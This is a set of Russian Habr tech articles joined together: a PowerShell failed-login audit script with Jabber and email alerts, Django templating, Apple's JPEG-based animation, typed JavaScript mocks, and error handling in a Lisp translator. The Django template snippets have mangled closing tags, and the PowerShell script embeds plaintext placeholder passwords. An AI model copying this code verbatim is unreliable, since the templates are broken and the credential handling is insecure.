[www.azati.com](http://www.azati.com) замените адресом своего сервера, [www.azati.com](http://www.azati.com) можно тестировать для сравнения. Не боимся, сайт не падает и статистика google не портится.
К сожалению, скорость не дается даром:
— Пропадает возможность редактировать статьи (Articles) через Joomla front-end, только через административный интерфейс.
— После редактирования статьи, необходимо очищать кеш через административный интерфейс Tools -> Сlean cache
Взвешиваем и решаем оправдан ли подход для вашего вебсайта.
P.S. Если у вас есть динамический контент, можно организовать периодическую очистку кеша (например раз в час), и тем самым получить быстрый сайт, который достаточно часто обновляется. | https://habr.com/ru/post/92783/ | null | ru | null |
# Аудит Active Directory средствами Powershell с оповещением об изменениях. Часть 2
В [передыдущей](http://habrahabr.ru/post/147750/x) статье я опубликовал свой первый пост на хабре. В продолжении темы собрался написать вторую часть.
В комментариях к первой части я вскользь упомянул о том, что расширил функционал скриптов мониторинга за подключениями к серверам. В частности добавил уведомления в сервис мгновенных сообщений XMPP (Jabber), а так же запись лога в отдельный текстовый файл.
#### Мгновенное оповещение.
Чем хороши мгновенные оповещения, так это тем, что нет необходимости постоянно проверять почту на предмет новых сообщений — сообщения приходят сами и дают о себе знать сразу же (В зависимости от настроек клиента, конечно же).
Лично для себя я сделал, чтобы сообщения открывались поверх всех окон. Конечно, чтобы не заспамит самого себя, такие оповещения отправляются на критически важные события.
К критически важным я отнес: неудачные попытки входа на контролеры домена, неудачные попытки входа на сервис VPN (PPTP на WIndows). Так же добавил эту функцию в скрипты мониторинга за AD. Т.к. у меня доступ к AD имеют несколько человек, то со временем можно потерять нить актуальных данных (что-то, когда-то, кого-то удалил/переместил/добавил а ты и не в курсе). И данные сообщения будут как раз кстати, чтобы в реальном времени знать об изменениях.
##### Поиски решения
Когда мне пришла идея о таком роде оповещения (учитывая тот факт, что у нас в организации достаточно активно используется Jabber-сервис) первое что я сделал, это забил к гугл [Powershell Jabber](http://www.google.ru/search?client=opera&rls=ru&q=Powershell+jabber&sourceid=opera&ie=utf-8&oe=utf-8&redir_esc=&ei=vhg2ULS0KoiKhQfYwYGwBQ). Первой же ссылкой меня отправило на [сайт](http://http:/xaegr.wordpress.com/2008/03/11/) не безызвестного на просторах форумов [Microsoft Technet](http://social.technet.microsoft.com/Forums/ru-RU/scrlangru/threads) [Xaerg'а](http://http:/xaegr.wordpress.com/2008/03/11/). То что я там увидел меня не могло не порадовать: «А знаете ли вы, что оснастка NetCmdlets, включающая командлеты для работы с огромным количеством сетевых протоколов, доступна совершенно бесплатно для некоммерческого использования?»
И приводится список доступных команд. «Это то что мне нужно, да еще и бесплатно!!!» — подумал я и огорчился когда прошел на сайт разработчика этой оснастки командлетов, оказывается у них нет бесплатной версии, есть только триальная на 1 месяц, после чего нужно вновь запрашивать ключ. Только после этого я обратил внимание на дату статьи, она оказалась 2008 года – старовата :(.
Ради эксперимента скачал триальную версию. Установил на сервер, на котором хочу использовать оповещения. Установка прошла на УРА. Сразу же стали доступны новые коммандлеты. Синтаксис у них довольно простой и с отправкой сообщений проблем не возникло. Какое-то время я так и использовал эту триальную лицензию, раз в месяц ее перерегистрировав. Но само ощущение, что используешь триальную версию меня угнетало, еще больше угнетал тот факт, что необходимо ее каждый месяц регистрировать для каждого сервера, где она установлена. А так как в инфраструктуре на тот момент присутствовало чуть менее 30 серверов, даже мысль о перегистрации хоть раз в месяц на всех серверах приводила меня в ужас.
Когда со временем стало посвободнее, я решил добить эту идею. Необходимо было средство, позволяющее посредством Powershell, отправлять сообщения, используя протокол XMPP. При этом важным фактором должно быть условия использования данного средства — оно должно быть бесплатным.
Я снова начал мучать гугл. И мои усилия не пропали даром. В один прекрасный клик я попал на [страничку с утилитой](http://sourceforge.com/), которая как раз таки позволяет отправлять сообщения из PS-консоли, используя XMPP-протокол.
Особенно меня порадовала надпись, красующаяся в заголовке страницы: **Project Hosting for Open Source Software.** Что наталкивало меня на мысль, что данный продукт бесплатен в использовании — как раз то, что мне нужно.
#### Аудит неудачных попыток входа на сервер, с оповещением по электронной почте, Jabber-сервису, и записью в лог-файл.
```
#Поиск последней записи в WIndowsEventLog на предмет неудачной попытки входа на сервер, и запись значения в переменную Body
$HostName = HostName
$Body=Get-WinEvent -FilterHashtable @{LogName="Security";ID=4625} | Select TimeCreated,@{n="User";e={([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq "TargetUserName"} | %{$_.'#text'}}},@{n="ComputerName";e={([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq "WorkstationName"}| %{$_.'#text'}}},@{n="IPAddress";e={([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq "IPAddress"}| %{$_.'#text'}}} | select-object -first 1
#$BodyL - переменная для записи в текстовый лог-файл
$BodyL = "`n"+$Body.TimeCreated +"`t"+ $Body.User +"`t"+ $Body.ComputerName +"`t"+ $Body.IPAddress
#$Body - переменная для тела письма при отправке сообщения на почту и Jabber
$Body = "`nВремя: "+$Body.TimeCreated +"`nИмя пользователя: "+ $Body.User +"`nКомпьютер-источник: "+ $Body.ComputerName +"`nIP источника: "+ $Body.IPAddress
#$Theme - тема письма. $Hostname - имя сервера
$Theme = "Неудачный вход в систему на "+$hostname
#Отправка Jabber-сообщения
Add-PSSnapin poshxmpp
new-client -JabberId AUDIT@domain.ru -Password PASSWORD
Send-Message admin@domain.ru "$Theme $Body"
$PoshXmppClient.Close()
#Описание переменных для отправки e-mail сообщения о инциденте
$Subject = "Неудачный вход в систему на "+$hostname
$Server = "mail.domain.ru" # SMTP Сервер
$From = "audit@domain.ru" # Адрес отправителя
$To = "admin@domain.ru" # Получатель
$pass = ConvertTo-SecureString "PASSWORD" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("AUDIT" , $pass)
$encoding = [System.Text.Encoding]::UTF8
#Отправка e-mail
Send-MailMessage -From $From -To $To -SmtpServer $server -Body "$Theme `n$Body" -Subject $Subject -Credential $cred -Encoding $encoding
#Запись данных в текстовый лог-файл FaildConnect.txt
$BodyL | out-file "\ServerNameServerLogFilesServerFaildConnect.txt" -append
```
Как я писал в [первой части](http://habrahabr.ru/post/147750/x), чтобы скрипт автоматически отрабатывал необходимо поместить его в планировщик задач и настроить запуск данного скрипта при обнаружении в EvenLog события с ID = 4625в журнале Security.
#### Рекомендации.
Именно подобные скрипты у меня работают на VPN-сервере и на всех контролерах домена.
Теперь я всегда знаю, когда и кто подключается к VPN, например. Или когда кто-то пытается подобрать пароль на доступ к серверу.
Так же рекомендую навесить такой скрипт на те сервисы, которые «светятся» в Интернет, к примеру службы терминального доступа.
А запись в отдельный файл, позволит Вам, в будущем, проанализировать подключения. Лог, кстати говоря, можно открыть через табличный редактор (MS Excel или OO Calc) и уже работать с логом как с таблицей (сортировать, фильтровать и т.д.). | https://habr.com/ru/post/150122/ | null | ru | null |
# Как собирается сайт
В [прошлом посте](http://habrahabr.ru/company/biggo/blog/96847/) мы рассказали о нашем новом конструкторе сайтов.
На этот раз хотелось бы более подробно рассказать о том как работает шаблонная система. Она полностью джанговская, но то, как она построена заслуживает отдельного упоминания. К тому же, это будет полезно для тех читателей, кто не знаком с шаблонизатором от Django.
#### Принцип гибкости
Каким же образом достигается гибкость в конструкторе Бигго. Рассмотрим на примере.
Каждый контентный объект имеет свой URL, при запросе которого, система показывает нужное содержимое. Кроме URL, задаются еще и 2 типа шаблонов: **внешние** и **модульные**. Пример внешнего шаблона:
**articles.html**:
> `{% extends "base.html" %}
>
>
>
> {% block title %}{% if title %}{{ title }}{% else %}{{ block.super }}{% endif %}{% endblock %}
>
>
>
> {% block content %}
>
> "content" class="box">
>
>
>
> class="content-block box">
>
> {% BreadCrumbs %}
>
>
>
> {% Articles %} {% CommentsAddForm www2 %}{% Comments www2 %}{% TagsCloud %}`
{% endblock %}
\* This source code was highlighted with Source Code Highlighter.
Как видно, он наследует base.html, и переопределяет его блоки title и content.
Сам base.html может выглядеть примерно так:
> `<html>
>
> <head>
>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
>
> <link rel="stylesheet" href="/css/style.css" type="text/css" media="screen">
>
>
>
> <title>{% block title %} {% SiteCaption %} {% endblock %}title>
>
> head>
>
> <body>
>
> {% block content %}{% endblock %}
>
> body>
>
> html>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обратите внимание на вызываемы Django-теги {% Articles %}, {% CommentsAddForm www2 %}, {% Comments www2 %}, {% TagsCloud %}. Они представляют собой содержимое модулей статей, комментариев и облака меток. В том месте, где вызывается тег, он выводит HTML-содержимое, которое генерируется по заданному **модульному** шаблону.
Рассмотрим один из таких на примере статей:
> `<div class="content-block box">
>
>
>
> <h3><span>{{ base\_obj }}span>h3>
>
> {{ base\_obj.details }}
>
>
>
> {% for obj in lst %}
>
> <dl class="article box">
>
> {% if obj.get\_image and obj.settings.show\_image\_on\_page %}<dd class="fl">
>
> <img src="{{ obj|make\_thumbnail }}" alt="alt">dd>{% endif %}
>
> <dd class="dt box">
>
> <strong class="font19"><a href="{{ obj.get\_absolute\_url }}">{{ obj }}a>strong>
>
> <div class="font13">{{ obj.p\_details }}{{ obj|obj\_info:"html"|truncatewords:"20"}}
>
> <br/><a href="{{ obj|obj\_info:"source\_url" }}">{{ obj|obj\_info:"source" }}a>
>
> div>
>
> <dl class="artinfo box font13">
>
> <dd class="fl">
>
> {% if obj.p\_dateadd %}Опубликовано <b>{{ obj.p\_dateadd }} b>{% endif %}
>
>
>
> dd>
>
> <dd class="fr">
>
> {{ obj|obj\_info:"author" }}
>
>
>
> dd>
>
> <dd class="fr tags">
>
> {% TagsBind obj.get\_absolute\_url %}
>
> dd>
>
> dl>
>
> dd>
>
> dl>
>
> {% endfor %}
>
> {% pagination %}
>
>
>
>
>
> div>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Этот шаблон задает отображение вызываемого тега {% Articles %}. Обратите внимание, что внутри есть вызовы еще двух inclusion тегов: {% pagination %} и {% TagsBind %}
#### Рекурсивный вызов
Некоторые теги, для реализации неограниченной вложенности вызывают сами себя. Пример:
> `<ul class="menu">
>
> {% for part in parts %}
>
>
>
> <li><a href="{{ part.get\_url }}" onmouseover="{{ part.on\_mouseover }}">{{ part }}a>
>
> {% for menu\_obj in part.menu\_set.all %}
>
>
>
> {% Menu menu\_obj.eng\_word %}
>
>
>
>
>
> {% endfor %}
>
> li>
>
> {% endfor %}
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
{% Menu menu\_obj.eng\_word %} — вызывает вложенное меню с соответствующим именем
#### Подробнее о наследовании шаблонов
Страница base.html(базовый шаблон, родительский):
Дочерний шаблон:
#### URL-зависимость тега
Один и тот же тег(например {% Articles %}) может выводить разное содержимое в зависимости от URL. Это хорошо видно на картинке:
P.S. Мы учли замечания хабровчан: добавили [портфолио](http://cms.biggo.ru/portfolio/), сделали акцент на привязку своего домена и другие мелочи. | https://habr.com/ru/post/97026/ | null | ru | null |
# Apple кодирует видео с помощью JPEG, JSON и <canvas>
Фрагмент файла [unlock\_001.jpg](http://www.apple.com/iphone/design/images/unlock/unlock_001.jpg)
Компания Apple имеет огромный опыт в разработке веб-технологий, но сейчас попала в абсурдную ситуацию. Если зайти на страницу с описанием [дизайнерских инноваций iPhone](http://www.apple.com/iphone/design/#animation-unlock), то можно увидеть странное: видеоролик с анимацией разблокировки «айфона» закодирован с помощью нескольких JPEG-файлов необычного вида.
Возникает вопрос: как вообще это работает? И зачем прибегать к подобным ухищрениям, если можно использовать стандартный тег .
Объяснение простое. Оказывается, на iPhone тег работает только в полноэкранном режиме, так что Apple не может его использовать для вставки видеороликов на странице. Кроме того, Apple использует исключительно видео H.264, а его поддерживают не все браузеры, что неприемлемо для промо-странички.
Раньше Apple решала эту проблему, создавая [JPEG для каждого фрейма](http://www.apple.com/macbook-pro/features/#seq) анимации, в результате чего двухсекундная анимация занимала 5 МБ. Теперь они осуществили оптимизацию: анимация iPhone 5 объёмом всего лишь один мегабайт состоит из пяти файлов:
[www.apple.com/iphone/design/images/unlock/unlock\_manifest.json](http://www.apple.com/iphone/design/images/unlock/unlock_manifest.json)
[www.apple.com/iphone/design/images/unlock/unlock\_keyframe.jpg](http://www.apple.com/iphone/design/images/unlock/unlock_keyframe.jpg)
[www.apple.com/iphone/design/images/unlock/unlock\_001.jpg](http://www.apple.com/iphone/design/images/unlock/unlock_001.jpg)
[www.apple.com/iphone/design/images/unlock/unlock\_002.jpg](http://www.apple.com/iphone/design/images/unlock/unlock_002.jpg)
[www.apple.com/iphone/design/images/unlock/unlock\_endframe.jpg](http://www.apple.com/iphone/design/images/unlock/unlock_endframe.jpg)
Алгоритм работы описан в файле [ac\_flow.js](http://images.apple.com/v/iphone/c/scripts/ac_flow/ac_flow.js) и основан на том, что обновляется только часть картинки для экономии трафика. В файлах `unlock_001.jpg` и `unlock_002.jpg` содержатся эти обновляемые фрагменты изображения. В файле `unlock_manifest.json` указаны координаты, чтобы позиционировать части. Чтобы JPEG-артефакты отдельных фрагментов не испортили общую картину, Apple использует блоки размером 8х8 пикселов, как это делает кодек JPEG. Вышеупомянутые файлы `unlock_001.jpg` и `unlock_002.jpg`, фактически, используются как непрерывный поток блоков 8х8. Инструкции для обработки потока указаны отдельно в формате base64, который приходится декодировать:
Каждая инструкция состоит из пяти байт, первые три байта указывают координаты цели в canvas, а последние два байта — сколько блоков туда поместить. Например, инструкция `AAxAC` означает, что нужно взять два блока (AC) и разместить их в позицию 49 (AAx).
С таким алгоритмом сборки видео нет возможности повторного использования блоков, но зато сам манифест получается вполне лаконичным.
via [dbloom](https://docs.google.com/document/pub?id=1GWTMLjqQsQS45FWwqNG9ztQTdGF48hQYpjQHR_d1WsI) | https://habr.com/ru/post/151637/ | null | ru | null |
# Строгая типизация в нестрогих тестах
Уже больше 10 лет \_большая\_ часть моей работы — чистый JavaScript. Но иногда приходится заниматься и чуть более типизированными языками. И каждый раз после такого контакта остается странное чувство «непонятности», почему же в js вот так же сделать нельзя.
Особенно потому, что можно. И сегодня мы попробуем добавить немного типизации в самую хаотическую область javascript — mock-и в unit-тестах.
А то говорят тут всякие, что [mocking is a coding smell](https://medium.com/javascript-scene/mocking-is-a-code-smell-944a70c90a6a).
### «Не» правильные моки
Какие основные доводы можно привести против моков? Если кратко:
> Mocking is required when our decomposition strategy has failed.
>
> — как говорил Eric Elliot по ссылке выше.
>
>
А если по русски —
1. У тебя руки кривые
2. Используй DI!
3. Моки — они не честные
Есть только одна проблема — nodejs является IoC фреймворком, и модульная система в текущем исполнении является DI. В принципе именно по этому популярные библиотеки для моков — proxyquire, mockery и другие, вообще в принципе работают.
То есть, чисто технически — mocking is not a coding smell.
Но тут есть другая сторона вопроса — сами библиотеки «пахнут» так сильно, что немного заражают весь остальной код. Proxyquire просто кривоват, mockery слишком медленный, моки в jest особо прекрасны. Некий обзор этого я давал в майской [статье про rewiremock](https://habrahabr.ru/post/329740/).
### «Правильные моки»
«Правильность» что мока, что теста, очень легко определить — должно правильно падать, и должно падать в правильном месте. Если мок кривой — должен упать мок, а не expect(someFunction).to.be.called(). Ведь иногда можно так долго гадать, почему же метод не вызывается, когда все должно быть хорошо.
В proxyquire была хорошая команда — callThrough, позволяющая использовать «реальный» файл как основу. Вот только ее не рекомендовали использовать, потому что сложно контролировать какие экспорты замокались, а какие нет. На то, что сложно контролировать процесс файла целиком — даже внимание не обратили.
В Jest есть очень удобная система автоматический моков \_\_mock\_\_, позволяющая прозрачно предоставлять моки для реальных файлом… в немного сложно контролируемом виде. Или все или ничего. Ну и никто эти моки не контролирует.
Главную проблему моков очень легко описать одним [дичайшим примером из tslint](https://github.com/palantir/tslint/issues/1182#issue-151780453), правилом no-export-by-default:
```
// app.ts
import ActionPopover from "./action";
// action.ts
export default class ActionMenu {
...
}
// oops, we just renamed this from popover -> menu but our consumer had no idea!
```
В случае моков это будет еще веселее — тесты останутся зелеными, так как будут работать с моком, который как работал, так и работает, а вот реальный файл — реальный файл может творить что угодно — **для тестов его не существует**.
Это и есть главная проблема, и главный coding smell от моков. Ну не добавляют они уверенности в завтрашнем дне.
### Type safety
Я сам с такой ситуацией сталкивался пару раз, и на третий решил просто ее закрыть технически. А если конкретнее — [rewiremock](https://github.com/theKashey/rewiremock) v3 поддерживает статическую типизацию моков для Flow/JS и shallow проверку экспортов для обычного JS.
**TypeScript vs Flow?**Мне потребовалась примерно неделя, чтобы написать по 10 строчек TS/Flow которые бы сделали всю работу, при этом 90% времени потратил на Flow, и еще неделя чтобы написать еще 10 строчек, при этом 90% времени потратил на TS. Победила дружба.
Итак — давайте начнем с примера.
```
var foo = proxyquire('./foo', {
'fs': { fileWroteSync }
});
```
Proxyquire делает именно что что сказано — перегружает зависимости. Но не проверяет что же он там на самом деле делает — что fs будет запрошен, что функция перехвачена, что операция валидна.
У mockery все еще хуже, так как обьявление моков и их использование немного разнесено в пространстве.
```
mockery.registerMock('fs', fsMock);
mockery.enable();
const mocked = require(...)
```
В rewiremock — совсем не лучше. Учитывая что базовый API примерно повторяет интерфейс mockery.
```
// Старый API - требует имя файла строчкой. Пиши/мокай что угодно
rewiremock('./b.js').withDefault(overrideDefault).with({ helper:2});
```
Это обычный способ создать мок. Ему по барабану есть ли default export у файла, и есть ли экспорт с именем helper, который к тому же является числом. Как описывалось выше — расхождение мока с реальным файлом, который он должен заменить, и есть проблема, и есть основной источник «запаха».
Решений у данной ситуации два:
Первое использует динамические импорты, которые для TS/Flow возвращают тизированные результаты промисы, информацию из которых можно использовать в дальнейшем исключительно посредством статической типизации. От нижележащего кода требуется только поддерживать возможность задавать имя мока фунцией импорта. Привет асинхронность :(
```
// Новый API - использует import, что решает много проблем с name-resolution
rewiremock(() => import('./b.js'))
.withDefault(overrideDefault) // метода default может просто не быть
.with({ helper: 42 }) // c этой проверкой все тоже хоршо
```
Более того — вся нужная информация доступна для IntelliSence или другого автокомплитера. Чистый TypeScript в действии (ну или Flow). Это не только делает моки «лучше», но и улучшает «пользовательсткий опыт» при написании моков. IDE поможет и подскажет.
Второй вариант попроще, но может работать только в рантайме, в том числе его без проблем можно портировать почти в любые другие библиотеки, так как кода там — буквально три строчки.
```
rewiremock('./b.js')
.with({ helper: 42 })
.toMatchOrigin(); // дополнительная опция
```
В данном случае перед операцией замены реального файла моком (где-то глубоко в require) будет на самом деле загружен реальный файл, и его экспорты будут сравнены с данным моком на совпадение имен типов.
Главный плюс этого варианта — работает синхронно — в итоге работать с этим удобно, в то время как использование динамических импортов требует использования асинхронных API, что не очень удобно :(
PS: с «типизацией» старого доброго синхронного require есть проблемы, так что не стоит даже пытаться.
Буду честен — единственное что улучшает типизация моков — время написания моков(если есть типизация) и нахождения багов (в обоих случаях). Мне просто было теоритичеки интересно можно ли это сделать в принципе, и я это в принципе и сделал.
### Jest?
Jest насколько хорош, что у него есть даже своя собственная система моков, запаянная в его песочницу исполнения файлов (которая — одна из главных фичей).
Система эта двуликая, и состоит из автомоков \_\_mocks\_\_, и manual моков. Первые — прекрасны, вторые — ужасны. Ну а в кишках Jest все плохо и не совсем логично — он подменяет «собой» и модульную систему node.js, и babel и все остальное, заполняя все пространство и уничтожая всю «стандартную» инфраструктуру. Для многих это факт — proxyquire с Jest не работает. Ничего с Jest не работает.
Но иметь типизированные моки хотелось бы, и решение есть.
Это маленькая cli утилитка [jest-typed-mock](https://github.com/theKashey/jest-typed-mock), которая сканирует директории в поисках моков, и проверяет на соотвествие реальным файлам.
Режима работы 4:
* jest-typed-mock flow, для Flow
* jest-typed-mock typescript, для TS
* jest-typed-mock javascript, для «строгой» проверки JS (сравнивает колличество аргументов в функциях)
* jest-typed-mock exports, для проверки только имен и типов.
Я запустил ее на паре примеров, и смог найти различные «накопившиеся» расхождения в моках и релиазциях, которые были на пути к «тесты зеленые, а прод нет», но (слава богу) пока не дошли. Честное слово — хотелось бы видеть такую систему встроенную в Jest по умолчанию.
Для справки: rewiremock достаточно наглый, чтобы подвинуть Jest и мокать самостоятельно. Для этого нужно совершить всего два действия —
```
// 1. Восстановить связь между модулями.
// Иначе "родителем" rewiremock будет jest-runtime
rewiremock.overrideEntryPoint(module);
// 2. Переписать require на "нормальный"
require = rewiremock.requireActual;
```
Это полностью убиваем jest для тех файлов, которые будут запрошены — никакого sandboxing, jest как локальной переменной, конечно же никаких jest моков, тем более \_\_mocks\_\_… Но заказ на такое поступал.
### Заключение
Вот уже почти год я пытаюсь пилить rewiremock. Он начался как замена proxyquire, продолжился как замена mockery, и потопал куда-то дальше.
Каждый раз, когда я пью кофе в тени эвкалипта, я думаю — какую бы новую фичу добавить, и зачем. Потом понимаю что это не возможно… и добиваюсь своего через пару месяцев.
Так было с режимами изоляции, с работой под webpack, jest, ну а теперь с типизацией. Ну а если тебе %username% что-то хочется от маленькой библиотечки для моков — ты просто знай к кому можно обратиться.
[Больше по ссылке](https://github.com/theKashey/rewiremock). | https://habr.com/ru/post/343720/ | null | ru | null |
# Пишем простой транслятор на Лиспе — III
[Предыдущая статья](https://habr.com/post/421445/)
### Ошибки, Ошибки, Ошибки…
Хорошая программа должна быть защищена от ошибок пользователя. Это совершенно бесспорно. Ошибки нужно обрабатывать, а еще лучше – предупреждать (профилактика всегда лучше лечения!). Высший пилотаж – так выстроить диалог с пользователем, чтобы последний просто не мог совершить ошибку.
К примеру, если пользователю нужно ввести положительное целое число в поле ввода, то можно, конечно, проанализировать ответ, и, обнаружив нечисловые символы, выдать предупреждение и попросить пользователя повторить ввод. Но гораздо лучше просто запретить ввод нечисловых символов!
К сожалению, подобная методика может быть применена далеко не всегда. В частности, разнообразие конструкций, поступающих на вход транслятору, слишком велико для того, чтобы можно было просто “отсечь неправильные”, задав маску ввода.
Человек имеет привилегию ошибаться, а транслятор должен, в случае ввода некорректных конструкций языка, выдавать внятную диагностику и, по возможности, продолжать анализировать исходный текст, чтобы выявить все ошибки. Пользователю, вероятно, не очень понравится, если транслятор будет вылавливать ошибки “по одной”. И уж совсем недопустимым нужно признать ситуацию, при которой программа “падает” с системным сообщением об ошибке.
В этой статье мы пройдем по наработанному ранее коду критически, и постараемся предотвратить (обработать) возможные ошибки.
Начнем с первой функции start. Что она делает? Она берет имя входного файла, открывает его и обрабатывает строку за строкой. Для таких программ сценарий взаимодействия с пользователем уже “устоялся” – его можно считать каноническим:
* Если имя файла не задано – вызвать стандартный диалог “Оpen”;
* Если пользователь нажал кнопку “отказ” в диалоге “Open” – завершить работу;
* Проверить, существует ли файл с заданным/введенным именем. Если не существует – выдать сообщение и завершить работу;
* Если заданный файл существует – обработать его.
Наша версия процедуры start этому сценарию не удовлетворяет. В самом деле, посмотрим на приведенный код:
```
(defun start (&optional (fname ""))
(setq *numline* 0)
(setq *flagerr* nil)
(setq *oplist* …) ;; список опущен для экономии места
(when (zerop (strLen fname))
(setq fname (sysGetOpenName (sysHome) "Мини-бэйсик|*.mbs")))
(let ((fi (gensym 'fi)))
(filOpen fi fname _INPUT)
(loop
(let ((curr-proc (action-proc fi)))
(when *flagerr* (return t))
(when (filEOF fi) (return t))
(eval curr-proc)))
(filClose fi))
(when *flagerr* (printsline "**** Были найдены ошибки")))
```
Отрицательный ответ пользователя не анализируется, поэтому если будет нажата кнопка «отказ» – программа “упадет”. Существование файла тоже не анализируется. К сожалению, этой недоработкой недостатки не исчерпываются. Очевидно, что если процедура мини-бэйсика — последняя во входном файле, то анализ конца файла приведет к тому, что цикл разорвется прежде, чем сгенерированная функция будет загружена в среду Лиспа.
Исправим эти недоработки:
```
(defun start (&optional (fname ""))
(setq *numline* 0)
(setq *flagerr* nil)
(setq *oplist* … )
(when (zerop (strLen fname))
(setq fname (sysGetOpenName (sysHome) "Мини-бэйсик|*.mbs")))
(if (and fname (filExistp fname))
(let ((fi (gensym 'fi)))
(filOpen fi fname _INPUT)
(loop
(let ((curr-proc (action-proc fi)))
(when *flagerr* (return t))
(when curr-proc (eval curr-proc))
(when (filEOF fi) (return t))))
(filClose fi)
(when *flagerr* (printsline "**** Были найдены ошибки")))
(printsline (if fname
(strCat "**** Файл " fname " не существует")
"**** Опущено имя файла")))
(unset '*numline*)
(unset '*flagerr*)
(unset '*oplist*))
```
Если имя файла задано и файл существует, то выполняется обработка. В противном случае печатается одно из сообщений: “Файл не существует” или “Опущено имя файла”.
В теле основного цикла последовательно выполняются следующие действия:
* Отрабатывает функция action-proc. Результат ее работы сохраняется в локальной переменной curr-proc;
* Если флаг \*flagerr\* поднят, цикл разрывается;
* Если функция action-proc вернула непустой результат – происходит загрузка сформированной функции в среду Лиспа;
* Если достигнут конец файла, цикл также разрывается.
Код стал, как будто, лучше… Но еще один серьезный недостаток остался неустраненным – после завершения обработки процедуры, содержащей одну или более ошибок, главный цикл будет разорван и программа завершится, не просмотрев часть исходного года, расположенного за процедурой с ошибками. Это плохо – хотелось бы, чтобы транслятор при каждом запуске выдавал бы все ошибки, которые можно выявить.
Чтобы исправить этот недочёт, давайте введем глобальную переменную “счетчик ошибок”, при обработке процедуры с ошибками будем этот счетчик увеличивать. А флаг ошибки будем сбрасывать после обработки каждой процедуры:
```
(defun start (&optional (fname ""))
(setq *numline* 0)
(setq *flagerr* nil)
(setq *errcount* 0)
(setq *oplist* …)
(when (zerop (strLen fname))
(setq fname (sysGetOpenName (sysHome) "Мини-бэйсик|*.mbs")))
(if (and fname (filExistp fname))
(let ((fi (gensym 'fi)))
(filCloseAll)
(filOpen fi fname _INPUT)
(loop
(let ((curr-proc (action-proc fi)))
(when *flagerr* (setq *errcount* (add1 *errcount*)))
(when (and curr-proc (not *flagerr*)) (eval curr-proc))
(setq *flagerr* nil)
(when (filEOF fi) (return t))))
(filClose fi)
(when (> *errcount* 0) (printsline "**** Были найдены ошибки")))
(printsline (if fname (strCat "**** Файл " fname " не существует") "**** Опущено имя файла")))
(unset '*numline*)
(unset '*flagerr*)
(unset '*oplist*)
(unset '*errcount*))
```
Вот теперь функция start будет работать приемлемо. Давайте в этом убедимся. Создадим следующий исходный файл:
```
*
* функция с ошибкой
*
proc test1(x)
local y
y=x^2
bla-bla
end_proc
*
* функция без ошибки
*
proc test2()
local x,y
input x
y=test1(x)
print y
end_proc
*
* функция с ошибкой
*
proc test3(x)
bla-bla-bla
print x
end_proc
```
И “пропустим его” через наш транслятор. Получим:
```
0001 *
0002 * функция с ошибкой
0003 *
0004 proc test1(x)
0005 local y
0006 y=x^2
0007 bla-bla
**** Оператор (BLA - BLA) не распознан
0008 end_proc
0009 *
0010 * функция без ошибки
0011 *
0012 proc test2()
0013 local x,y
0014 input x
0015 y=test1(x)
0016 print y
0017 end_proc
0018 *
0019 * функция с ошибкой
0020 *
0021 proc test3(x)
0022 bla-bla-bla
**** Оператор (BLA - BLA - BLA) не распознан
0023 print x
0024 end_proc
0025
**** Были найдены ошибки
```
Будем считать, что с функцией start мы справились. Но “работа над ошибками” только началась. Приглядимся к синтаксису той части языка, которую мы уже реализовали.
Вероятно, самая распространенная синтаксическая ошибка, которую люди чаще всего допускают – это неверная скобочная структура (несбалансированные или стоящие в неправильном порядке круглые скобки). Вспомним, что происходит со строкой исходного текста программы на мини-бэйсике после того, как она читается. Строка парсится (разбивается на лексемы), а затем список лексем переводится во внутреннюю списковую форму. В списке лексем круглые скобки являются отдельными лексемами и их сбалансированность мы не проверяем. Это можно было бы сделать отдельной функцией, но ведь список лексем передается на вход функции input, которая осуществляет перевод списка строк в список Лиспа. Если на вход функции input передается некорректное строковое выражение, функция вернет ошибку.
Давайте эту ошибку обработаем.
В HomeLisp для обработки ошибок служит конструкция (try Выражение-1 except Выражение-1). Работает она следующим образом:
* Делается попытка вычислить Выражение-1. Если попытка успешна – результат вычисления возвращается, как результат всей формы try;
* Если возникла ошибка, то вычисляется Выражение-2. При этом доступна системная функция без параметров (errormessage), которая возвращает текст сообщения об ошибке.
С учетом сказанного, перевод в списковую форму можно оформить так:
```
(defun mk-intf (txt)
(let ((lex (parser txt " ," "()+-*/\^=<>%"))
(intf ""))
(iter (for a in lex) (setq intf (strCat intf a " ")))
(try
(input (strCat "(" intf ")"))
except
(progn
(printsline (strCat "**** " (errormessage)))
`(,txt) ))))
```
В случае возникновения ошибки преобразования будет выдано системное сообщение, а в качестве результата будет возвращен список из одного элемента – исходной строки кода. Далее этот список попадет (как очередной оператор) в процедуру action-proc. И, естественно, не будет распознан. Это породит еще одно сообщение об ошибке, а транслятор продолжит работу. Подготовим следующий исходный текст, и попробуем его протранслировать:
```
*
* функция с ошибкой
*
proc test1(x)
local y
y=(x^2))
end_proc
*
* функция без ошибки
*
proc test2()
local x,y
input x
y=test1(x)
print y
end_proc
*
* функция с ошибкой
*
proc test3(x)
x=3+)x^2
print x
end_proc
```
Получим вполне ожидаемый результат:
```
0001 *
0002 * функция с ошибкой
0003 *
0004 proc test1(x)
0005 local y
0006 y=(x^2))
**** Нарушен баланс скобок или неверна скобочная структура
**** Оператор ("y=(x^2))") не распознан
0007 end_proc
0008 *
0009 * функция без ошибки
0010 *
0011 proc test2()
0012 local x,y
0013 input x
0014 y=test1(x)
0015 print y
0016 end_proc
0017 *
0018 * функция с ошибкой
0019 *
0020 proc test3(x)
0021 x=3+)x^2
**** Нарушен баланс скобок или неверна скобочная структура
**** Оператор ("x=3+)x^2") не распознан
0022 print x
0023 end_proc
**** Были найдены ошибки
```
А теперь посмотрим критическим взглядом на код, который преобразует арифметические выражения в префиксную запись. Этот код не содержит никаких средств, фиксирующих ошибки пользователя. К сожалению, этих ошибок может быть достаточно много. Давайте исправим эту оплошность. Для начала, попробуем протранслировать совершенно невинный (с виду) код:
```
proc test()
local x,y
x=6
y=-x
print y
end_proc
```
